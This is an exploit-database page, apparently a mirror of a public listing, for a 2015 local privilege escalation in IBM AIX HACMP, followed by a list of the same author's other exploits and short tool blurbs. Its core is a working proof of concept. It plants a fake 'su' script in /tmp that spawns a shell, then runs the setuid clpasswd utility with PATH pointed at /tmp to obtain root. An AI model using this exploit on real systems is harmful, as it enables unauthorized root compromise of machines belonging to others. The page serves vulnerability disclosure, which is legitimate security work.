Search for hundreds of thousands of exploits

"IBM AIX High Availability Cluster Multiprocessing (HACMP) - Local Privilege Escalation"

Author

Exploit author

"Kristian Erik Hermansen"

Platform

Exploit platform

aix

Release date

Exploit published date

2015-09-08

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
IBM AIX High Availability Cluster Multiprocessing (HACMP) LPE to root 0day

Let's kill some more bugs today and force vendor improvement :)

"""
$ cat /tmp/su
#!/bin/sh
/bin/sh
$ chmod +x /tmp/su
$ PATH=/tmp /usr/es/sbin/cluster/utilities/clpasswd
# /usr/bin/whoami
root
"""

References:
https://en.wikipedia.org/wiki/IBM_High_Availability_Cluster_Multiprocessing
http://www-01.ibm.com/support/knowledgecenter/SSPHQG_6.1.0/com.ibm.hacmp.admngd/ha_admin_clpasswd.htm

--
Kristian Erik Hermansen (@h3rm4ns3c)
https://www.linkedin.com/in/kristianhermansen
--
Release DateTitleTypePlatformAuthor
2017-02-03"ntfs-3g (Debian 9) - Local Privilege Escalation"locallinux"Kristian Erik Hermansen"
2015-09-08"IBM AIX High Availability Cluster Multiprocessing (HACMP) - Local Privilege Escalation"localaix"Kristian Erik Hermansen"
2015-09-06"Disconnect.me Mac OSX Client 2.0 - Local Privilege Escalation"localosx"Kristian Erik Hermansen"
2015-09-06"FireEye Appliance - Unauthorized File Disclosure"webappsphp"Kristian Erik Hermansen"
2013-09-24"IBM AIX 6.1/7.1 - Local Privilege Escalation"localaix"Kristian Erik Hermansen"
2010-12-15"Google Urchin 5.7.03 - Local File Inclusion"webappscgi"Kristian Erik Hermansen"
2010-07-08"Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (1)"locallinux"Kristian Erik Hermansen"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/38106/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.